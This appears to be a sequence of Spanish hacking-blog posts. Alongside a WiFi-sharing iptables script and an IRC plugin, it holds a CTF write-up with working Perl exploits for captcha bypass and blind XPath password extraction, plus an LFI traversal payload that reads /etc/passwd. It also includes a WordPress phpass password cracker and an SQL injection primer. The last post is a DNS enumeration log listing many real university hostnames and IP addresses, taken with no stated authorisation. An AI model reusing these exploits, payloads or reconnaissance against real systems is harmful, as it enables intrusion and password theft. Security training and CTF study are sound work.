[ Misc ] compartir conexion INET via WiFi ( under linux )

April 26, 2012 · Posted in Codez Misc · 2 Comments 

hay varias formas de compartir una conexion de internet . una de las mas sencillas es creando un punto ad-hoc, en gnu/linux la tarjeta inalambrica debe ser compatible con este modo .

El escenario de trabajo es una maquina ( pc ) con conexion ppp modem ( tambien puede ser ethernet ) como fuente de internet , y entregara un enlace a cualquier dispositivo que sea capaz de conectar a un punto inalambrico ( movil’s, pc’s, tables, notebooks, consolas de juegos,etc ).

INET  PC ad-hoc  dispositivo

Para compartir una conexion a internet se debe crear una pasarela entre interfaces del siguiente modo:

INET ; iface [ ppp|eth|wlan ]  iface wlan ad-hoc  wlan dispositivo

Para todo este trabajo hize un script usando iptables para enrutar y las herramientas para configurar interfaces (ifconfig, iwconfig ) .

#!/bin/bash
clear
echo
echo "# WLAN0 MODO AD-HOC"
iwconfig wlan0 mode ad-hoc
 
echo "# AP ESSID phund"
iwconfig wlan0 essid phund
 
echo "# CHANNEL 8"
iwconfig wlan0 channel 8
iwconfig wlan0 ap 88:9f:fa:4a:b2:cb
echo "#############################"
echo
echo "# IPTABLES SET'S "
iptables -F
iptables -X
iptables -Z
iptables -t nat -F
 
echo "# REGLAS :"
echo "          INPUT ACCEPT"
echo "          OUTPUT ACCEPT"
echo "          FORWARD ACCEPT"
 
iptables -P INPUT   ACCEPT
iptables -P OUTPUT  ACCEPT
iptables -P FORWARD ACCEPT
 
echo "          PREROUTING ACCEPT"
echo "          POSTROUTING ACCEPT"
iptables -t nat -P PREROUTING  ACCEPT
iptables -t nat -P POSTROUTING ACCEPT
 
echo "          TODO INPUT LOCALHOST ACCEPT"
iptables -A INPUT  -i lo -j ACCEPT
 
echo "          DESDE 192.168.1.100 ACCEPT 22,80,8080"
iptables -A INPUT -s 192.168.1.100 -d 0.0.0.0/0 -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -s 192.168.1.100 -d 0.0.0.0/0 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -s 192.168.1.100 -d 0.0.0.0/0 -p tcp --dport 8080 -j ACCEPT
 
echo "          ACCESO LAN 192.168.1.0/24 IFACE ppp0 ACCEPT"
iptables -A INPUT -s 192.168.1.0/24 -i ppp0 -j ACCEPT
 
echo "          ACCESO LAN 192.168.1.0/24 IFACE wlan0 ACCEPT"
iptables -A INPUT -s 192.168.1.0/24 -i wlan0 -j ACCEPT
 
echo "          PUENTE ppp0 a wlan0"
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
iptables -A INPUT -s 192.168.1.0/24 -i wlan0 -j ACCEPT
 
echo "          FORWARDING ACTIVADO"
echo 1 > /proc/sys/net/ipv4/ip_forward
 
echo "          SET IFACE WLAN0 192.168.1.1"
ifconfig wlan0 192.168.1.1

Miramos las salidas de la ejecucion del script .

root@xxxxxxxxxxx:/home/xxxxx# sh iphone_net.sh 
 
# WLAN0 MODO AD-HOC
# AP ESSID phund
# CHANNEL 8
#############################
 
# IPTABLES SET'S
# REGLAS :
                INPUT ACCEPT
                OUTPUT ACCEPT
                FORWARD ACCEPT
                PREROUTING ACCEPT
                POSTROUTING ACCEPT
                TODO INPUT LOCALHOST ACCEPT
                DESDE 192.168.1.100 ACCEPT 22,80,8080
                ACCESO LAN 192.168.1.0/24 IFACE ppp0 ACCEPT
                ACCESO LAN 192.168.1.0/24 IFACE wlan0 ACCEPT
                PUENTE ppp0 a wlan0
                FORWARDING ACTIVADO
                SET IFACE WLAN0 192.168.1.1

En resumen, acepta todo desde input,output,forward, prerouting, postrouting, acepta todo desde localhost, acepta desde 192.168.1.100 ( dispositivo enlazado ) en puertos 22,80,8080. acepta todo desde 192.168.1.0-255 de ppp0 ( modem ) y wlan0 ( dispositivo inalambrico ). crea puente, activa el bit forwaring para que los datos fluyan por la maquina ( pasarela ), y para terminar setea la ip gateway de la wlan0 ( ad-hoc ).

Ahora toca configurar el dispositivo, en este caso un telefono.

conexion ad-hoc

Se selecciona y configura la conexion ad-hoc como ip estatica .

ip estatica y config

Seteado ip de movil .100 , gateway .1 y las dns de google ;) .

net OK !

Ya tenemos internet en el telefono …

FiNish HiM!!! I WIN!

Reproduccion Mocp + Xchat Plugin [Perl Code]

January 4, 2012 · Posted in Codez Misc · Comment 

Como es mi ley, si te hace falta algo , hazlo tu mismo . asi que necesitaba algo que me mostrara que cosa estaba escuchando en el IRC , salio esto …

use strict;
use Xchat qw(:all);
 
# Autor		: p0fk
# Nombre	: Mocp Play
# Version	: 0.1	## 04/01/2012
 
Xchat::register( "Mocp Play", "0.1", "MUESTRA ARTISTA, ALBUM, CANCION EN REPRODUCCION MOCP", sub{} );
 
hook_command( "MOCP", sub {
my $estado	= `mocp -i | grep State | awk -F: '{print $2}'`;
 
$estado		=~ s#\n##;
$estado		=~ s#State: ##;
 
if ( $estado ne "PLAY" ) {
	Xchat::print( "Estado de Mocp: " . $estado );
} else {
 
	my $artista = `mocp -i | sort -n | grep Artist | awk -F: '{print $2}'`;
	my $album   = `mocp -i | sort -n | grep Album | awk -F: '{print $2}'`;
	my $cancion = `mocp -i | sort -n | grep SongTitle | awk -F: '{print $2}'`;
 
	$artista	=~ s#\n##;
	$artista	=~ s#Artist: ##;
	$album		=~ s#\n##;
	$album		=~ s#Album: ##;
	$cancion	=~ s#\n##;
	$cancion	=~ s#SongTitle: ##;
 
 
	if ( ( length($artista) < 1 ) or ( length($album) < 1 ) or ( length($cancion) < 1 ) ) {
		my $path		  =  `mocp -i | grep File`;
		$path	 		  =~ s#File: ##;
		my @strips		  =  split("/", $path);
		$strips[$#strips] =~ s#\.mp3|\.wav##ig;
		$strips[$#strips] =~ s#\n##;
		Xchat::command( "ME Escucha: [ ".$strips[$#strips]." ]");
	} else {
		Xchat::command( "ME Escucha: [ ".$artista." ] . ".$album. " . ".$cancion);
	}
 
}
return EAT_XCHAT;
});

Finish HIMM!!!

8dot8 Computer Security Conference, Solucion a challenge.dreamlab.net [ Exploits ] Part III

December 29, 2011 · Posted in 8dot8 challenger.dreamlab · Comment 

El tercer reto consistia en resolver 500 captchas, ( cosas que se vienen a la mente ) :

1.- Escribir a mano los 500 captchas a mano [X]
2.- Encontrar un bypass [X]
3.- Encontrar errores en la implementacion del captcha [✔]

Este sistema de captchas funcionaba de la siguiente manera: habian 2 formas de que nos de los caracteres para ser ingresados, la clasica imagen y mediante sonidos.
Aca estaba el error , al enviar la peticion y reproduce los caracteres cada uno con sus respectivos ogv.

Entonces el ataque se hacia armando una base de datos con los checksum de estos ogv.Una vez obtenida esta base de datos :

1.- peticion de captcha sonidos
2.- almaceno ogv + checksum
3.- mirar en la db checksum y reconocer caracter
4.- repetir estos pasos hasta resolver todos los caracteres
5.- enviar cadena de caracteres, captcha resuelto

Esta serie de pasos se enviaron con el respectivo exploit hasta cumplir los 500 captchas !
PD: Creditos a j03h quien agrego el checksum md5 a los archivos de audio .

use IO::Socket::SSL;
use threads;
use strict;
use Audio::Digest::MP3;
 
use Thread;
 
# Exploited captchas
# Coded by p0fk!
#
# Creditos : j03h 
 
my $session = ""; #sessionID
my $thread = 2;
my @threads;
 
#my @envia = (1 .. $thread);
#for (0 .. $thread-1){
#	push @threads, threads-&gt;create(\&amp;getCaptcha, $session);
#	}
 
#sleep 1;
#foreach my $join (@threads){
#	$join-&gt;join();
#	}
 
getCaptcha( $session );
#imagenCaptcha($session);
#print "Ingrese key:";
#my $key = ;
#chomp($key);
#getKey( $session , $key);
 
sub audioAttack {
my ( $sessionId, $data ) = @_;
 
my $sslsock = IO::Socket::SSL-&gt;new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr();
$sslsock-&gt;verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed";
 
print $sslsock "GET /challenges_dir/11/playAudio.php?audio=".$data." HTTP/1.1\r\n";
print $sslsock "Host: challenge.dreamlab.net\r\n";
print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n";
print $sslsock "Accept: audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5\r\n";
print $sslsock "Accept-Language: en-us,en;q=0.5\r\n";
print $sslsock "Accept-Encoding: gzip,deflate\r\n";
print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
print $sslsock "Referer: https://challenge.dreamlab.net/?page=challenge&amp;cid=11\r\n";
print $sslsock "Cookie:  ".$sessionId."\r\n";
print $sslsock "Connection: keep-alive\r\n\r\n";
open( AUDIO, '&gt;', $data.".ogg") || die "NO SE PUEDE CREAR AUDIO";
 
while (){
	print AUDIO $_;
	}
close(AUDIO);
my $md5sum = md5sum($data.".ogg");
 
my $testHash= checkHash($md5sum);
 
if ( $testHash ne 0 ) {
	print "hash Encontrado:";
	return $testHash;
} else {
	print "[!] Hash no encontrado\n[!] ingrese nuevo Caracter: ";
	my $stdin = ;
	chomp($stdin);
	#saveHash($stdin.":".$md5sum);
	return $stdin.":".$md5sum;
}
 
}
 
sub imagenCaptcha {
my ( $sessionId) = @_;
 
my $sslsock = IO::Socket::SSL-&gt;new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr();
$sslsock-&gt;verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed";
 
print $sslsock "GET /challenges_dir/11/captcha.php HTTP/1.1\r\n";
print $sslsock "Host: challenge.dreamlab.net\r\n";
print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n";
print $sslsock "Accept: image/png,image/*;q=0.8,*/*;q=0.5\r\n";
print $sslsock "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
print $sslsock "Accept-Encoding: gzip, deflate\r\n";
print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
print $sslsock "Cookie:  ".$sessionId."\r\n";
print $sslsock "Connection: keep-alive\r\n\r\n";
open( IMAGEN, '&gt;', "imagen.png") || die "NO SE PUEDE CREAR AUDIO";
binmode( IMAGEN );
my $status = 0;
while (){
	if ( $_ =~ m!CREATOR!ig ) { $status = 1; }
 
		if ( $status == 1 ) {
			print IMAGEN $_;
		}
	}
close(IMAGEN);
print "[+] Imagen Guardada\n";
}
 
#
sub getCaptcha {
my $sessionId=shift;
my $sslsock = IO::Socket::SSL-&gt;new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr();
$sslsock-&gt;verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed";
 
print $sslsock "GET /?page=challenge&amp;cid=11 HTTP/1.1\r\n";
print $sslsock "Host: challenge.dreamlab.net\r\n";
print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n";
print $sslsock "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
print $sslsock "Accept-Language: en-us,en;q=0.5\r\n";
print $sslsock "Accept-Encoding: gzip,deflate\r\n";
print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
print $sslsock "Cookie:  ".$sessionId."\r\n";
print $sslsock "Connection: keep-alive\r\n\r\n";
my @array = ();
while (){
 
	if ( $_ =~ m!"(.*?)","(.*?)","(.*?)","(.*?)","(.*?)","x"!ig ) {
		push(@array, $1);
		push(@array, $2);
		push(@array, $3);
		push(@array, $4);
		push(@array, $5);
		push(@array, "x");
	}
}
		imagenCaptcha($sessionId);
		#system("gthumb imagen.jpg &amp;");
		my $sum1 = audioAttack($sessionId, $array[0]);
		my $sum2 = audioAttack($sessionId, $array[1]);
		my $sum3 = audioAttack($sessionId, $array[2]);
		my $sum4 = audioAttack($sessionId, $array[3]);
		my $sum5 = audioAttack($sessionId, $array[4]);
		my $sum6 = audioAttack($sessionId, $array[5]);
 
		my @infosum1 = miniParse($sum1);
		my @infosum2 = miniParse($sum2);
		my @infosum3 = miniParse($sum3);
		my @infosum4 = miniParse($sum4);
		my @infosum5 = miniParse($sum5);
		my @infosum6 = miniParse($sum6);
 
		print $infosum1[0].":".$infosum1[1]."\n";
		print $infosum2[0].":".$infosum2[1]."\n";
		print $infosum3[0].":".$infosum3[1]."\n";
		print $infosum4[0].":".$infosum4[1]."\n";
		print $infosum5[0].":".$infosum5[1]."\n";
		print $infosum6[0].":".$infosum6[1]."\n";
 
		if ( getKey( $sessionId , $infosum1[0].$infosum2[0].$infosum3[0].$infosum4[0].$infosum5[0]) == 1 ) {
			#print "[+] Resuelto ... save db.\n";
			open( DB , '&gt;&gt;','db.txt');
			print DB $infosum1[0].":".$infosum1[1]."\n";
			print DB $infosum2[0].":".$infosum2[1]."\n";
			print DB $infosum3[0].":".$infosum3[1]."\n";
			print DB $infosum4[0].":".$infosum4[1]."\n";
			print DB $infosum5[0].":".$infosum5[1]."\n";
			print DB $infosum6[0].":".$infosum6[1]."\n";
			system("rm *.ogg *.png");
			getCaptcha( $session );
		}
 
}
#
 
sub miniParse{
my $hash = shift;
my @return = ();
@return = split(":", $hash);
return @return;
}
 
sub getKey {
#
my ( $sessionId, $data ) = @_;
 
my $sslsock = IO::Socket::SSL-&gt;new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr();
$sslsock-&gt;verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed";
 
print $sslsock "GET /?captcha=".$data."&amp;page=challenge&amp;cid=11 HTTP/1.1\r\n";
print $sslsock "Host: challenge.dreamlab.net\r\n";
print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n";
print $sslsock "Accept: audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5\r\n";
print $sslsock "Accept-Language: en-us,en;q=0.5\r\n";
print $sslsock "Accept-Encoding: gzip,deflate\r\n";
print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
print $sslsock "Cookie:  ".$sessionId."\r\n";
print $sslsock "Connection: keep-alive\r\n\r\n";
my $return = 0;
while (){
	#solved 2 CAPTCHAS
		if ( $_ =~ m!You've solved <em>(.*)</em> CAPTCHAS.!ig ) {
			print  "CAPTCHAS RESUELTOS : $1\n";
			$return = 1;
			last;
		}
	}
return $return;
}
 
sub saveHash{
my $hash = shift;
open(DB, '&gt;&gt;', 'db.txt');
print DB $hash."\n";
close(DB);
#print "[+]Nuevo Hash Guardado\n";
}
 
sub checkHash{
my $hash = shift;
open(DB,') {
	if ( $_ =~ m!(.*?):(.*?)\n!ig ) {
		if( $2 eq $hash) {
			$return = "$1:$2\n";
			last;
		} else {
			$return = 0;
		}
	}
}
return $return;
}
 
sub md5sum{
  my $file = shift;
  my $streaminfo = Audio::Digest::MP3-&gt;scan($file, 'MD5');
  return $streaminfo-&gt;digest;
}

Finish HiMM!

8dot8 Computer Security Conference, Solucion a challenge.dreamlab.net [ Exploits ] Part II

December 29, 2011 · Posted in 8dot8 challenger.dreamlab · Comment 

El segundo reto sobre Xpath injection, consistia en un formulario donde habia que logearse como usuario admin, este usuario “admin” ya estaba seteado previamente.

https://challenge.dreamlab.net/?page=challenge&cid=8&user=1

cid : numero de reto
user: id de usuario

al cambiar la variable “user” era posible enumerar los usuario validos en el formulario.

Las consultas son similares a las de SQL y las bases de datos son XML, asi que no es mucha la diferencia . primero las consultas basicas para mirar el entorno :
Cantidad de rows passwd:

https://challenge.dreamlab.net/?page=challenge&cid=8&user=count(//password/child::node())

#5

Hay 5 rows de passwd , era un poco obvio ya que era 5 los usuarios validos al enumerarlos ( &user=N° ) .

Longitud de password:

https://challenge.dreamlab.net/?page=challenge&cid=8&user=string-length(//password[position()=1]/child::node()[position()=1])%3C=11

#11 = longitud password

string-length = 11 , donde la position() de //password era igual a 1.
Me interesaba la position()=1 ya que era el primer user “admin”.

ahora como todo blind injection hay que buscar el caracter valido del string, hasta que nos suelte la password.

https://challenge.dreamlab.net/?page=challenge&cid=8&user=substring((//password[position()=1]/child::node()[position()=1]),1,1)=%22i%22

Cada vez que pille un caracter valido nos devolvera un valor TRUE, en este caso “i” el primer caracter de la clave.

Ahora lo para automatizar todas estas inyecciones de mierda , el exploit que nos devolvera la password de admin o’/ .

use IO::Socket::SSL;
use threads;
use strict;
use Digest::MD5;
 
my $session = ""; #sessionID
 
## coded by p0fk!
 
print "# Exploit challenge dreamlab.net xpath blind\n\n";
 
my @all = (32 ... 126);
my @car = (90 ... 122);
my @num = (48 ... 57 );
my @may = (64 ... 90 );
#my $guia=10;
for ($guia=1; $guia) {
		my $char = chr($_);
		if ( blind($session, $char, $guia) == 1 ) {
			print "# found[$guia]: ".$char."\n";
			last;
		}
	}
}
 
sub blind {
#
my ( $sessionId, $char, $largo) = @_;
 
my $sslsock = IO::Socket::SSL-&gt;new("challenge.dreamlab.net:https") || warn "FUUUUUUUU!!!!".IO::Socket::SSL::errstr();
$sslsock-&gt;verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed";
 
print $sslsock "GET /?page=challenge&amp;cid=8&amp;user=substring((//password[position()=1]/child::node()[position()=1]),".$largo.",1)='".$char."' HTTP/1.1\r\n";
print $sslsock "Host: challenge.dreamlab.net\r\n";
print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6 (Debian-3.0.6-1)\r\n";
print $sslsock "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
print $sslsock "Accept-Language: en-us,en;q=0.5\r\n";
print $sslsock "Accept-Encoding: gzip,deflate\r\n";
print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
print $sslsock "Cookie:  ".$sessionId."\r\n";
print $sslsock "Connection: keep-alive\r\n\r\n";
my $return = 0;
while () {
	while ( $_ =~ m!
<input id="user" type="text" name="user" value="(.*?)" />
!ig ) {
		if ( $1 eq "admin" ) {
			$return = 1;
			last;
		}
	}
}
return $return;
}
# Exploit challenge dreamlab.net xpath blind
 
# found[1]: i
# found[2]: L
# found[3]: o
# found[4]: v
# found[5]: e
# found[6]: P
# found[7]: w
# found[8]: n
# found[9]: i
# found[10]: e
# found[11]: s
 
# us: admin
# pw: iLovePwnies

Finish HIM!!!

8dot8 Computer Security Conference, Solucion a challenge.dreamlab.net [ Exploits ] Part I

December 29, 2011 · Posted in 8dot8 challenger.dreamlab · Comment 

Para la conferencia 8dot8 realizado el pasado 18 de noviembre, se preparo un challenge una competencia donde los ganadores ( por sorteo ), tenian como premio 1,2 o 3 entradas a este evento .
Como buen pirata , era una opcion para conseguir entradas gratis. Los retos realizados por dreamlab.net eran 3 :

1.- Inclusion Local de Archivos [ LFI ]
2.- Inyeccion Xpath
3.- Captchas

El primero de los retos era relativamente sencillo. Primero y lo logico en el test era buscar algun tipo de error ingresando comillas o corchetes lo que boto da una idea donde estan los errores y donde se ubica el script.

/home/dreamlab/www/challenge.dreamlab.net/challenges_dir/7/challenge.inc on line 13

Lo que daba una pista de como ingresaba la url y como era filtrada en el script lo mostraba el mismo html donde por ejemplo se enviaba “../”
daba un mensaje de error sin ningun contenido .
si se enviaba un “..//” , lanzaba el error y “/” en html,lo que indica que “/” es reemplazado por “”.
si era enviado ….//, lanzaba un error “../” en html, entonces lo que era reemplazado era “..” y los “/” .

https://challenge.dreamlab.net/?page=challenge&cid=7&inc_page=….//….//….//….//….//etc/passwd

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash man:x:13:62:Manual pages

PoC wordpress Crack

October 10, 2011 · Posted in Codez Misc, Pentest · Comment 

Esto lo tenia en algun lugar de mi pc, es un bruteforce que utiliza la libreria de wordpress para recojer el algoritmo de phpass.
La prueba de concepto de el bruter utiliza un pequeño array como diccionario, este codigo puede ser modificado para que tome una lista mas grande u optimizar.

xxxxxxxxxx@xxxxxxxxxx:~/Biohazard$ cat crackPhpass.php
<?PHP
include("./class-phpass.php");
echo "PoC wpCrack [phpass]\n";
 
$list           = array('uno', '11', 'zaap', 'aspen','chuuupamela', 'aispiriouu11');
$hashdb         = '$P$BL.y.8gXQupEbhZvWiDud2Md/l7TXC/';
 
 
foreach ( $list as $word ) {
        echo "TESTING: $word\n";
 
        if ( crackPhpass($word, $hashdb) ){
                echo "CRACK FOUND.\n";
                echo "HASH :$hashdb\n";
                echo "PWD  :$word\n";
                exit(0);
                } else {
                        echo "CRACK NO FOUND.\n";
                }
}
 
function crackPhpass( $word, $hashdb ) {
        $hasher         = new PasswordHash(8, TRUE);
        $hash           = $hasher->HashPassword($word);
        return ($hasher->CheckPassword($word, $hashdb) ) ? TRUE : FALSE;
}
?>
xxxxxxxxxx@xxxxxxxxxx:~/Biohazard$ php crackPhpass.php
PoC wpCrack [phpass]
TESTING: uno
CRACK NO FOUND.
TESTING: 11
CRACK NO FOUND.
TESTING: zaap
CRACK NO FOUND.
TESTING: aspen
CRACK NO FOUND.
TESTING: chuuupamela
CRACK NO FOUND.
TESTING: aispiriouu11
CRACK FOUND.
HASH :$P$BL.y.8gXQupEbhZvWiDud2Md/l7TXC/
PWD  :aispiriouu11

class-phpass.php

# Inyeccion SQL basado en information_schema [ mysql ]

October 3, 2011 · Posted in Pentest · Comment 

# Inyeccion SQL basado en information_schema [ mysql ]
# Metodo Union Injection
# Mysql >= 5.0.2
# http://Www.mitm.cl

Para comprender este texto deben tener conocimientos basicos de sql y tener una
idea de que es una inyeccion sql, ya que no voy a definir estos conceptos.

Cuando estamos haciendo pentesting a nivel web , una de las infaltables bug que chequeamos son las famosas
inyecciones sql . metodos de testeos hay muchos , algunos usan sus propias herramientas, otros usan herramientas
como sqlmap, o havij, y algunos lo hacen a mano ( para practicar o sacar querys que herramientas no sacan ) .

Cuando tenemos un target vulnerable a sqli y comenzamos a sacar los datos , uno de los primeros pasos
es saber la estructura de las dbs que tenemos acceso, para sacar las estructuras de datos o “por la razon o la fuerza” ( bruteforce ) ,
o usamos information_schema ( valido tambien para SQL SERVER ).

Information_schema es una db que contiene metadatos de la db que tengamos acceso, metadatos como privilegios de
accesos, tablas, columnas y bases de datos.
* http://dev.mysql.com/doc/refman/5.0/es/information-schema.html

http://forum.mitm.cl/index.php?topic=68.0

information_schema_mysqli.txt

Linea Roja v1.2 [ Enumeration Testing ]

August 27, 2011 · Posted in Pentest · Comment 

Como dije alguna vez, uno de los pasos para el penetration testing en la enumeracion de maquinas.
Por lo que saque la version 1.2 de “LineaRoja” , lo que hace basicamente es tomar maquinas basados en el dominio por ejemplo en el test chequee: “ugr.es” … empieza el checking buscando posibles transferencias de zonas, en caso de no obtenerlas empieza el brute force… de aqui saca los rangos de ip y crea un backup, para posterior uso.

El script usa menus para su trabajo , despues de obtener el backup del dominio usa nmap para enumerar servicios y es mas facil tener el vector de ataque, dejo un log de “lineaRoja v1.2″…

                            \         .  ./
                           \      .:";'.:.."   "
                               (^.^~~:.'").
                         -   (/  .    . . \ \)  -
  O                         ((| :. ~ ^  :. .|))
 |\                     -   (\- |  \ /  |  /)  -
 |  T                         -\  \     /  /-
/ \[_]..........................\  \   /  /
 # LINEA ROJA SCRIPT ENUMERATION
 # Coded by p0fk!
 
[#] Working...
[!] Limpiando Archivos Dumps
 
1. Explotar dominio
2. Usar backup File
3. Salir
&gt;\ 1
[+] Ingrese dominio ugr.es
[+] ZoneTranfers Check
 
[*] 150.214.35.10 1 - aviion1.ugr.es.
[*] 130.206.1.3 2 - chico.rediris.es.
[*] 150.214.5.83 3 - dns1.cica.es.
[*] 150.214.4.35 4 - dns2.cica.es.
[*] 150.214.218.4 5 - dns2.ugr.es.
[*] 150.214.191.10 6 - dns3.ugr.es.
[*] 130.206.1.2 7 - sun.rediris.es.
[!] ZoneTransfer Fail.
[+] BruteForce WordList: 1913
 
1. Explotar dominio
2. Usar backup File
3. Salir
&gt;\ 2
[+] Ingrese dominio ugr.es
[+] Detectado Archivo Dump 
 
1. Servicios Todos los targets
2. Servicios Target especifico
3. Ver Targets
4. Salir
&gt;\ 3
150.214.102.27	 [&gt;] newton.ugr.es.
150.214.102.50	 [&gt;] hal.ugr.es.
150.214.16.150	 [&gt;] b1.ugr.es.
150.214.16.51	 [&gt;] prensa.ugr.es.
150.214.18.202	 [&gt;] spock.ugr.es.
150.214.18.208	 [&gt;] pi.ugr.es.
150.214.18.249	 [&gt;] eagle.ugr.es.
150.214.18.65	 [&gt;] oscar.ugr.es.
150.214.18.73	 [&gt;] gauss.ugr.es.
150.214.190.114	 [&gt;] pegasus.ugr.es.
150.214.190.81	 [&gt;] titan.ugr.es.
150.214.190.84	 [&gt;] io.ugr.es.
150.214.190.95	 [&gt;] vip.ugr.es.
150.214.191.10	 [&gt;] dns3.ugr.es.
150.214.191.119	 [&gt;] white.ugr.es.
150.214.191.137	 [&gt;] leo.ugr.es.
150.214.191.139	 [&gt;] virginia.ugr.es.
150.214.191.151	 [&gt;] silver.ugr.es.
150.214.191.2	 [&gt;] odin.ugr.es.
150.214.191.200	 [&gt;] voyager.ugr.es.
150.214.191.200	 [&gt;] voyager.ugr.es.
150.214.191.3	 [&gt;] solaris.ugr.es.
150.214.191.57	 [&gt;] enterprise.ugr.es.
150.214.19.166	 [&gt;] foto.ugr.es.
150.214.192.102	 [&gt;] nv.ugr.es.
150.214.192.104	 [&gt;] mac3.ugr.es.
150.214.19.211	 [&gt;] webcam.ugr.es.
150.214.192.114	 [&gt;] sierra.ugr.es.
150.214.192.130	 [&gt;] isa.ugr.es.
150.214.19.215	 [&gt;] foro.ugr.es.
150.214.192.151	 [&gt;] iris.ugr.es.
150.214.192.165	 [&gt;] abc.ugr.es.
150.214.192.201	 [&gt;] zeus.ugr.es.
150.214.192.219	 [&gt;] mac5.ugr.es.
150.214.192.78	 [&gt;] phoenix.ugr.es.
150.214.194.195	 [&gt;] nevada.ugr.es.
150.214.198.211	 [&gt;] pc2.ugr.es.
150.214.198.213	 [&gt;] pc3.ugr.es.
150.214.198.219	 [&gt;] pc10.ugr.es.
150.214.199.115	 [&gt;] legal.ugr.es.
150.214.199.166	 [&gt;] venus.ugr.es.
150.214.199.57	 [&gt;] id.ugr.es.
150.214.199.74	 [&gt;] ppp2.ugr.es.
150.214.200.145	 [&gt;] skywalker.ugr.es.
150.214.20.186	 [&gt;] rc.ugr.es.
150.214.20.200	 [&gt;] radius.ugr.es.
150.214.20.23	 [&gt;] web.ugr.es.
150.214.20.23	 [&gt;] web.ugr.es.
150.214.20.23	 [&gt;] web.ugr.es.
150.214.20.3	 [&gt;] imap.ugr.es.
150.214.203.47	 [&gt;] time.ugr.es.
150.214.203.48	 [&gt;] core.ugr.es.
150.214.203.96	 [&gt;] orion.ugr.es.
150.214.205.1	 [&gt;] vpn0.ugr.es.
150.214.205.2	 [&gt;] vpn1.ugr.es.
150.214.20.60	 [&gt;] correo.ugr.es.
150.214.20.82	 [&gt;] backup.ugr.es.
150.214.209.97	 [&gt;] patch.ugr.es.
150.214.21.254	 [&gt;] om.ugr.es.
150.214.21.30	 [&gt;] test.ugr.es.
ofisl.ugr.es.	 [&gt;] sl.ugr.es.
150.214.218.106	 [&gt;] multimedia.ugr.es.
150.214.218.192	 [&gt;] canon.ugr.es.
150.214.218.4	 [&gt;] dns2.ugr.es.
150.214.218.40	 [&gt;] ia.ugr.es.
150.214.218.40	 [&gt;] ia.ugr.es.
150.214.219.148	 [&gt;] win.ugr.es.
150.214.219.170	 [&gt;] pc.ugr.es.
150.214.21.95	 [&gt;] personal.ugr.es.
150.214.22.241	 [&gt;] mac11.ugr.es.
150.214.22.9	 [&gt;] sw1.ugr.es.
150.214.25.111	 [&gt;] bravo.ugr.es.
150.214.25.127	 [&gt;] mac.ugr.es.
150.214.25.240	 [&gt;] victor.ugr.es.
150.214.30.42	 [&gt;] marketing.ugr.es.
150.214.31.164	 [&gt;] serv.ugr.es.
150.214.32.167	 [&gt;] thor.ugr.es.
150.214.32.172	 [&gt;] omega.ugr.es.
150.214.33.174	 [&gt;] sacramento.ugr.es.
150.214.34.64	 [&gt;] documentacion.ugr.es.
150.214.35.16	 [&gt;] dm.ugr.es.
150.214.35.29	 [&gt;] mail2.ugr.es.
150.214.35.30	 [&gt;] mail.ugr.es.
150.214.35.31	 [&gt;] mail3.ugr.es.
150.214.35.90	 [&gt;] internet.ugr.es.
150.214.36.117	 [&gt;] vega.ugr.es.
150.214.36.22	 [&gt;] user.ugr.es.
150.214.36.239	 [&gt;] dragon.ugr.es.
150.214.36.244	 [&gt;] bea.ugr.es.
150.214.36.60	 [&gt;] sm.ugr.es.
150.214.36.77	 [&gt;] edu.ugr.es.
150.214.37.96	 [&gt;] israel.ugr.es.
150.214.38.73	 [&gt;] pc1.ugr.es.
150.214.60.153	 [&gt;] david.ugr.es.
150.214.60.157	 [&gt;] canada.ugr.es.
150.214.61.192	 [&gt;] homer.ugr.es.
150.214.61.200	 [&gt;] smc.ugr.es.
150.214.61.251	 [&gt;] macintosh.ugr.es.
150.214.61.54	 [&gt;] ar.ugr.es.
150.214.62.184	 [&gt;] acceso.ugr.es.
